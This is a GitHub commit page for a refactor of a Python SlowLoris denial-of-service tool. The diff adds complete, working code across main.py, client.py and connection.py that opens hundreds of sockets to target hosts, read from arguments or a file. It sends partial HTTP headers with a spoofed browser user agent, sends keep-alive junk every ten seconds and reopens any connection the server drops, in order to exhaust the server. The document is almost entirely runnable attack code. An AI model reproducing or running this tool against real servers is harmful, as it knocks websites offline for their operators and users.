Skip to content

Commit d4798bc

Browse files
committed
Refactor code
- Make code work with Python 2 and 3 - Fix code according to pylint
1 parent bc6bcde commit d4798bc

6 files changed

Lines changed: 127 additions & 102 deletions

File tree

src/lorisConnection.py

Lines changed: 0 additions & 22 deletions
This file was deleted.

src/main.py

Lines changed: 45 additions & 41 deletions
Original file line numberDiff line numberDiff line change
@@ -1,61 +1,65 @@
1-
import os.path
2-
import slowLoris
1+
"""This module implements the SlowLoris DoS attack."""
2+
3+
# Standard imports
4+
from os import path
35
import sys
46
import threading
57
import time
68

7-
__author__ = "Jacob Misirian"
9+
# Library imports
10+
from slow_loris import SlowLoris
811

12+
# Constants
913
DEFAULT_PORT = 80
1014
DEFAULT_CONNECTION_COUNT = 200
1115

12-
def parsetarget (line):
13-
parts = line.split ()
14-
partlen = len (parts)
15-
ip = parts [0]
16+
def parsetarget(target):
17+
"""Parses a target."""
18+
parts = target.split()
19+
part_len = len(parts)
20+
host = parts[0]
1621
port = DEFAULT_PORT
1722
count = DEFAULT_CONNECTION_COUNT
18-
19-
if partlen == 2:
20-
port = int (parts [1])
21-
elif partlen == 3:
22-
port = int (parts [1])
23-
count = int (parts [2])
24-
25-
return (ip, port, count)
26-
27-
# Main entry point
28-
if __name__ == '__main__':
29-
arglen = len (sys.argv)
30-
31-
if arglen == 1:
32-
print ("Error! Expected at least one argument after file path!")
33-
exit ()
23+
if part_len == 2:
24+
port = int(parts[1])
25+
elif part_len == 3:
26+
port = int(parts[1])
27+
count = int(parts[2])
28+
return (host, port, count)
3429

30+
def main():
31+
"""The main entry point."""
32+
if len(sys.argv) == 1:
33+
print("Error! Expected at least one argument after file path!")
34+
exit()
3535
# Holds a list of tuples in format (ip, port, count).
3636
targets = []
37-
3837
# If the user gave us a file, hit all of the targets within.
39-
if os.path.isfile (sys.argv [1]):
40-
with open (sys.argv [1]) as f:
41-
lines = f.readlines()
42-
lines = [line.strip () for line in lines]
38+
if path.isfile(sys.argv[1]):
39+
with open(sys.argv[1]) as file:
40+
lines = file.readlines()
41+
lines = [line.strip() for line in lines]
4342
for line in lines:
44-
targets.insert (0, parsetarget (line))
43+
targets.insert(0, parsetarget(line))
4544
else:
46-
targets.insert (0, parsetarget (' '.join (sys.argv [1:])))
47-
45+
targets.insert(0, parsetarget(' '.join(sys.argv[1:])))
4846
# Begin attacking our selected targets.
4947
try:
50-
loris = slowLoris.SlowLoris ()
51-
# Spawn a new daemon thread for each attacker, as it takes time to establish all the connections.
48+
loris = SlowLoris()
49+
# Spawn a new daemon thread for each attacker,
50+
# as it takes time to establish all the connections.
5251
for target in targets:
53-
attackThread = threading.Thread (target=loris.attack, args=[target [0], target [1], target [2]])
54-
attackThread.setDaemon (True)
55-
attackThread.start ()
56-
time.sleep (0.5)
57-
58-
time.sleep (-1)
52+
attack_thread = threading.Thread(
53+
target=loris.attack,
54+
args=[target[0], target[1], target[2]])
55+
attack_thread.setDaemon(True)
56+
attack_thread.start()
57+
time.sleep(0.5)
58+
while True:
59+
pass
5960
except (KeyboardInterrupt, SystemExit):
60-
loris.stop ()
61-
exit ()
61+
loris.stop()
62+
exit()
63+
64+
if __name__ == "__main__":
65+
main()

src/slowLoris.py

Lines changed: 0 additions & 39 deletions
This file was deleted.

src/slow_loris/__init__.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
"""This module exports the SlowLoris functionality."""
2+
3+
from .client import SlowLoris

src/slow_loris/client.py

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
"""This module implements the SlowLoris client."""
2+
3+
import threading
4+
import time
5+
6+
from .connection import LorisConnection
7+
8+
# Constants
9+
DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"
10+
11+
class SlowLoris:
12+
"""SlowLoris attack client."""
13+
14+
def __init__(self):
15+
self.connections = []
16+
self.connection_count = 0
17+
self.keepalive_thread = threading.Thread(target=self.keep_alive)
18+
self.keepalive_thread.setDaemon(True)
19+
self.keepalive_thread.start()
20+
21+
def attack(self, host, port, count):
22+
"""Starts the attack."""
23+
self.connection_count = count
24+
print("Initializing {} connections.".format(count))
25+
# Start 'count' connections and send the initial HTTP headers.
26+
for _ in range(count):
27+
conn = LorisConnection(host, port).send_headers(DEFAULT_USER_AGENT)
28+
self.connections.insert(0, conn)
29+
30+
def stop(self):
31+
"""Stops the attack."""
32+
for conn in self.connections:
33+
conn.close()
34+
35+
def keep_alive(self):
36+
"""Make sure that connections stay alive once established."""
37+
while True:
38+
time.sleep(10)
39+
print("Sending keep-alive headers for {} connections.".format(self.connection_count))
40+
# Every 10 seconds, send HTTP nonsense to prevent the connection from timing out.
41+
for i in range(0, self.connection_count):
42+
try:
43+
self.connections[i].keep_alive()
44+
# If the server closed one of our connections, re-open the connection in it's place.
45+
except KeyboardInterrupt:
46+
raise
47+
# pylint: disable=W0702
48+
except:
49+
host, port = (self.connections[i].host, self.connections[i].port)
50+
conn = LorisConnection(host, port).send_headers(DEFAULT_USER_AGENT)
51+
self.connections[i] = conn

src/slow_loris/connection.py

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
"""This module implements the SlowLoris connection."""
2+
3+
import random
4+
import socket
5+
6+
class LorisConnection:
7+
"""SlowLoris connection."""
8+
9+
def __init__(self, host, port):
10+
self.host = host
11+
self.port = port
12+
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
13+
self.socket.connect((self.host, self.port))
14+
# TODO: Add SSL support
15+
16+
def close(self):
17+
"""Closes the connection."""
18+
self.socket.close()
19+
20+
def send_headers(self, uagent):
21+
"""Sends headers."""
22+
template = "GET /?{} HTTP/1.1\r\n{}\r\nAccept-language: en-US,en,q=0.5\r\n"
23+
self.socket.send(template.format(random.randrange(0, 2000), uagent).encode("ascii"))
24+
return self
25+
26+
def keep_alive(self):
27+
"""Sends keep-alive headers."""
28+
self.socket.send("X-a: {}\r\n".format(random.randrange(1, 5000)).encode("ascii"))

0 commit comments

Comments
 (0)